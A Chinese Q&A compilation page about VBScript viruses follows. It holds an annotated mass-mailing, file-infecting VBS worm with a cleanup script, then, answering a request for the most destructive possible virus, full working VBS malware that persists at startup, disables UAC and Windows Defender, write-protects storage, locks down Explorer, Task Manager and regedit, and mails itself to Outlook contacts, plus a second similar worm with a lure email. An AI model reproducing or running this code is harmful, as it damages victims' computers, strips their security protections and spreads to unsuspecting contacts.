vbs脚本病毒代码
㈠ 求一些vbs病毒的脚本
要学习 VBS,具有一些VB的基础知识就够了。
这个病毒的主要攻击方法是：通过网络及邮件进行传播，并且不断地向目标邮件服
务器发送大量邮件，并且在传染过程中检测网络主机的名称中是否有目标字符，如
果有则进行破坏攻击。
下面将结合具体的程序逐步进行介绍,由于篇幅关系，对一些语句进行了缩减。
'@ thank you! make use of other person to get rid of an enemy, white trap _2001
''开场白,第一个字符“@”是这个病毒传染时的标记
on error resume next ''这一句很重要，主要是在程序执行时如果发生错误就接着
''执行下一条语句，防止谈出出错对话框，否则就不能偷偷
''的干坏事啦。这里有一个技巧，就是在程序编制调试阶段，
''最好不要这一条语句，因为它会忽略错误，使你的调试工
''作不易完成。
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE, whb(), title(10) ''声明各个变量
smailc = 4
Redim whb(smailc)
whb(0) = "[email protected]"
...
whb(3) = "[email protected]"
''以上这四个邮件地址就是被攻击的目标，当然已经进行了修改，不是真实地址
title(0) = "Thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
''以上这十条字符串是病毒执行时随机显示在IE标题栏里的信息。如果你的IE标题栏
''显示了其中的某条信息，呵呵，一定要接着往下看
defpath = "C:\Readme.html" ''将随邮件一起发送的病毒体
MAX_SIZE = 100000
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
''定义两个注册表的键值变量
main ''执行主函数
''下面就是程序中所需的各个函数的定义部分，整个VBS程序将由windows目录中的
''WScript.exe文件解释执行,如果将这个文件改名或删除,当然VBS程序也就不能执行
''了，如此便阻止了病毒的执行。在用杀毒软件杀毒时，往往病毒传播的速度要比杀
''毒的速度快，如果出现这种情况，应该先将WScript.exe文件改名，阻止病毒传播，
''等杀完毒后，再改回来，不致影响其他正常的VBS程序的执行。
sub main()
on error resume next
dim w_s
w_s= WScript.ScriptFullName ''得到此文件名称
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject")
''随着VB编程语言的完善，微软也推出了一种全新的文件操作方法：文件系
''统对象（FileSystemObject）。这个对象，及一些相关对象，封装了所有
''的文件操作。这个病毒程序基本展示了所有的这些操作，因此，如果您要
''利用VBS进行文件操作编程，将这个病毒源码作为参考文档，肯定不错。
if getErr then
Randomize
ra = int(rnd() * 7)
doucment.write title(ra)
ExecuteMail ''打开有毒的页面
else
ExecutePage ''赋值成功，进行传染，攻击
end if
else
ExecuteVbs ''从病毒体文件“system.dll”提取病毒
end if
end sub
Function getErr()
''本函数主要是检测前一条语句是否成功返回了Scripting.FileSystemObject对象，
''内容略
end function
sub ExecutePage()
dim Html_Str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
Vbs_Str = GetScriptCode("vbscript") ''获得此程序的VBScript code
Js_Str = GetjavaScript()
Code_Str = MakeScript(encrypt(Vbs_str),true) ''进行加密处理
Html_Str = MakeHtml(encrypt(Vbs_str), true)
Gf
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
''仅用以上三条语句便完成了病毒体文件 "user.dll"的制作，其中对象函数
''OpenTextFile (wdf, 2, true)的三个参数分别是：
''①文件名，②读=1或写=2，③文件不存在时是否创建；
''当前，FileSystemObject对于文本文件的操作有较强的优势，对binary文件
''的操作还有待加强。下面依次生成其他的文件，内容略
Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
''将Mdm.vbs,Profile.vbs两个脚本文件加入到启动组当中，随Win启动自动执行
SendMail
Hackpage
if TestUser then
Killhe
else
mk75
end if
set adi = fso.Drives ''所有驱动器对象
for each x in adi ''遍历所有的驱动器
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
if fso.FileExists(defpath) then fso.DeleteFile defpath
''如果存在"C:\Readme.html" ，就删除它
end sub
sub ExecuteMail()
''此函数制作病毒文件"C:\Readme.html" ，并打开它，
''由这一段程序，可以看出VBS的简洁高效
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib")
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub
sub ExecuteVbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
if TestUser then
Killhe
else
mk75
end if
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
end sub
sub Gf()
w1=fso.GetSpecialFolder(0) & "\" ''获得Windows的路径名，
w2=fso.GetSpecialFolder(1) & "\" ''获得系统文件夹路径名
end sub
function Readreg(key_str)
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype)
''对注册表进行写入操作，读操作类似，可以由此看到vbs的注册表操作非常简单明了。
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing ''关闭不用的资源，算是病毒的良好行为
end function
function MakeHtml(Sbuffer, iHTML)
''制作html文件的内容
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _
"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _
"<" & "/BOAD><" & "/HTML>"
end Function
function MakeScript(Codestr, iHTML)
''制作病毒的可执行script code
if iHTML then
dim DocuWrite
DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _
"jword" & "+'\n</'" & "+'SCRIPT>');"
DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
"nword" & "+'\n</'" & "+'SCRIPT>');"
MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"
else
MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"
end if
end function
function GetScriptCode(Languages)
''此函数获得运行时的Script code，
''内容略
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser()
''此函数通过键值检测网络主机是否是攻击目标
''内容略
end function
function mk75()
''检测日期是否符合，如果符合，发控制台命令，使系统瘫痪
end function
function SendMail()
''利用outlook发送携带病毒体的邮件，Microsoft Outlook是可编程桌面信息管理程序，
''outlook可以作为一个自动化服务器(Automation servers)，因此很容易实现自动发送
''邮件，从这里也可以看出，先进的东西难免会被反面利用，如果你也想用程序控制发送
''邮件，可以仔细研究下面的代码，
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
Randomize
at=fso.GetSpecialFolder(1) & "\Readme.html" ''要发送的附件文件
set Oa = CreateObject("Outlook.Application") ''制作outlook对象
set wab = Oa.GetNameSpace("MAPI") ''取得Outlook MAPI名字空间
for j = 1 to wab.AddressLists.Count ''遍历所有联系人
eins = wab.AddressLists(j)
wreg=Readreg (HCUW & eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count ''地址表的Email记录数
if (Eaec > Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW & arrsm)
''读注册表中的标记，避免重复发送
if (areg = "") then
set fm = wab.CreateItem(0) ''创建新邮件
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm ''收件人
.Subject = title(ra) ''邮件的标题
.Body = title(ra) ''邮件的正文内容
.Attachments at ''病毒文件作为附件
.Send ''发送邮件
Writereg HCUW & arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW & eins, Eaec, ""
next
set Oa = Nothing
window.setTimeout "SendMail()", 10000 ''每100秒发送一次
end function
sub SearchHTML(Path)
''这个函数递归搜索所有需感染的文件，如果你想批量处理文件，这是非常典型
''的样例代码
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub
''fso.GetSpecialFolder(2)获得临时文件夹路径名，
''fso.GetSpecialFolder(0)获得Windows的路径名，
''fso.GetSpecialFolder(1)获得系统文件夹路径名
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
if Code_Str<>"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe()
''看函数名就知道硬盘又要倒霉啦
end sub
sub Hackpage()
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
set fi = fso.GetFile(H & "\index.htm")
AddHead H & "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t)
''这个函数负责感染文件，之所以不进行省略，因为在后面编制杀毒程序时要用到这一段。
on error resume next
dim tso, buffer,sr
if f.size > MAX_SIZE then exit sub
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
''如果是"htm"，"plg"， "asp" 文件，则在其中加入病毒代码
if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str & vbcrlf & buffer
tso.close
end if
else ''否则，用病毒体程序覆盖掉原文件，这个有点损
if mid(buffer, 3, 2) <> "'@" then
tso.close
sr=w2 & "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
''以上对病毒源码进行了分析，是不是有所收获，赶快打开纪事本，亲自开发一个vbs
''程序吧，“水能载舟，亦能覆舟”，就编一个清除它的杀毒程序，算是本文的加强练习。
''
''感兴趣的朋友可以看一下笔者根据源程序改编的杀毒程序。
附：
''''''''kill75.vbs''''''''''''
'本程序由源病毒码修改而成
Dim fso, w1, w2, MSWKEY, HCUW
Dim defpath
Dim bdNUM ''记录杀除病毒文件的个数
Const MAX_SIZE = 100000
main
Sub main()
On Error Resume Next
bdNUM=0
defpath = "C:\Readme.html"
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
Err.Clear
Set fso = CreateObject("Scripting.FileSystemObject")
ExecuteKill
End Sub
Sub ExecuteKill()
On Error Resume Next
Dim adi, vf, wdf, wdf2, wdf3, wdsf, wdsf2
Gf
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
If fso.FileExists(wdsf) Then fso.DeleteFile wdsf: bdNUM = bdNUM + 1
If fso.FileExists(wdsf2) Then fso.DeleteFile wdsf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf) Then fso.DeleteFile wdf: bdNUM = bdNUM + 1
If fso.FileExists(wdf2) Then fso.DeleteFile wdf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf3) Then fso.DeleteFile wdf3: bdNUM = bdNUM + 1
If fso.FileExists(w2 & "75.htm") Then fso.DeleteFile w2 & "75.htm": bdNUM = bdNUM + 1
If fso.FileExists(defpath) Then fso.DeleteFile defpath: bdNUM = bdNUM + 1
DeleteReg MSWKEY & "CurrentVersion\Run\Mdm"
DeleteReg MSWKEY & "CurrentVersion\RunServices\Profile"
DeleteReg MSWKEY & "CurrentVersion\Run\75"
Set adi = fso.Drives
For Each x In adi
If x.DrivesType = 2 Or x.DrivesType = 3 Then
Call SearchHTML(x & "\")
End If
Next
End Sub
Sub Gf()
w1 = fso.GetSpecialFolder(0) & "\"
w2 = fso.GetSpecialFolder(1) & "\"
End Sub
Function DeleteReg(key_str)
Set tmps = CreateObject("WScript.Shell")
tmps.RegDelete key_str
Set tmps = Nothing
End Function
Sub SearchHTML(Path)
On Error Resume Next
Dim pfo, psfo, pf, ps, pfi, ext
If InStr(Path, fso.GetSpecialFolder(2)) > 0 Then Exit Sub
Set pfo = fso.GetFolder(Path)
Set psfo = pfo.SubFolders
For Each ps In psfo
SearchHTML (ps.Path)
Set pf = ps.Files
For Each pfi In pf
FileLabel.Caption = pfi
DoEvents
ext = LCase(fso.GetExtensionName(pfi.Path))
If InStr(ext, "htm") > 0 Or ext = "plg" Or ext = "asp" Then
CutHead pfi.Path, pfi, 1
ElseIf ext = "vbs" Then
CutHead pfi.Path, pfi, 2
End If
Next
Next
End Sub
Sub CutHead(Path, f, t)
On Error Resume Next
Dim tso, buffer, sr, wz, fbuf
Set tso = fso.OpenTextFile(Path, 1, True)
buffer = tso.ReadAll()
tso.Close
If (t = 1) Then
If UCase(Left(LTrim(buffer), 7)) = "<SCRIPT" Then
If InStr(1, buffer, "jword") > 0 Then
wz = InStr(1, buffer, "</SCRIPT>")
If wz > 10000 Then
fbuf = Right(buffer, Len(buffer) - wz - 10)
Set tso = fso.OpenTextFile(Path, 2, True)
tso.Write fbuf
tso.Close
bdNUM = bdNUM + 1
DoEvents
End If
End If
End If
Else
If Mid(buffer, 3, 2) = "'@" Then
re = MsgBox("是否想删除：" + Path + ",它可能已经变成了75病毒", vbYesNo)
If (re = vbYes) Then
tso.Delete
bdNUM = bdNUM + 1
DoEvents
End If
End If
End If
End Sub
Function getErr()
If Err.Number <> 0 Then
getErr = True
Err.Clear
Else
getErr = False
End If
End Function
㈡ 求一个超毒无比的vbs代码，最好能破坏电脑和安全模式也修复不了的vbs代码。一定要超毒的。
送你了
On Error Resume Next
set fso=createobject("scripting.filesystemobject")
set vbs=wscript.createobject("wscript.shell")
pt=vbs.specialfolders("startup") & "\"
set file=fso.getfile(wscript.scriptfullname)
file. pt
set fso=createobject("scripting.filesystemobject")
set vbs=wscript.createobject("wscript.shell")
pt=vbs.specialfolders(1) & "\"
set file=fso.getfile(wscript.scriptfullname)
file. pt
set ws=wscript.createobject("wscript.shell")
ws.popup "正在验证I/O接口...",3,"接口工具",vbinformation
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetup",1,"REG_DWORD"
if err.number<>0 then
On Error Goto 0
err.raise 1,"无法匹配的I/O接口,请以ADMINISTRATOR用户运行重试","Access failed (no permission)"
end if
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\[TARGETDIR]脚本病毒加强版.vbs","RUNASADMIN","REG_SZ"
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin",0,"REG_DWORD"
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA",0,"REG_DWORD"
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop",0,"REG_DWORD"
ws.run "cmd /c echo 0>C:\Windows\Web\Screen\e.bmp"
Set ol=CreateObject("Out"+"look"+".Application")
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="工作报告"
Mail.Body="您好，这是今月的工作报告"
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit
ws.run "cmd /c echo Your Computer Has Been Destoryed!>e.txt"
ws.run "cmd /c echo Your Computer Has Been Destoryed!>c:\e.txt"
wscript.sleep 2000
ws.regwrite "HKCU\Control Panel\Desktop\wallpaper","C:\Windows\Web\Screen\e.bmp","REG_SZ"
ws.run "RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetup",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetupIDPage",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetupSecurityPage",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoEntireNetwork",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoWorkgroupContents",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoFileSharingControl",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoPrintSharingControl",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CLASSES_ROOT\directory\background\ShellEx\ContextMenuHandlers\New\",0,"REG_SZ"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\Start",4,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose","1","REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrivers",67108863,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchelingAgent",0,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies\WriteProtect",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetActiveDesktop",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoActiveDesktop",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoActiveDesktopChanges",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nodesktop",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoAddPrinter",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDeletePrinter",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPrinterTabs",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSaveSettings",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\ControlPanel\Desktop\CoolSwitch",0,"REG_SZ"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive",67108863,"REG_DWORD"
ws.run "cmd /c taskkill /f /im explorer.exe"
wscript.sleep 3000
ws.run "cmd /c start explorer.exe"
wscript.sleep 2000
ws.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD","2","REG_DWORD"
wscript.sleep 100
set vbs=wscript.createobject("wscript.shell")
set ws=createobject("wscript.shell")
do
msgbox"你好",vbexclamation,"VIRUS"
wscript.sleep 5000
loop
㈢ 解释一个VBS脚本病毒代码
有一段的解释是：要修改管理员用户的名字与权限，还有就是要生成些病毒编写者的其他自己编写的文件，还有就是系统路径的修改的问题，还有就是管理员用户的系统的终端的修改，创建有病毒编写者的自己的键值。
㈣ 谁能给我一个vbs病毒代码附说明啊
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 5000
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗？"
Mail.Body="朋友你好：您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ 同城约会网"
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
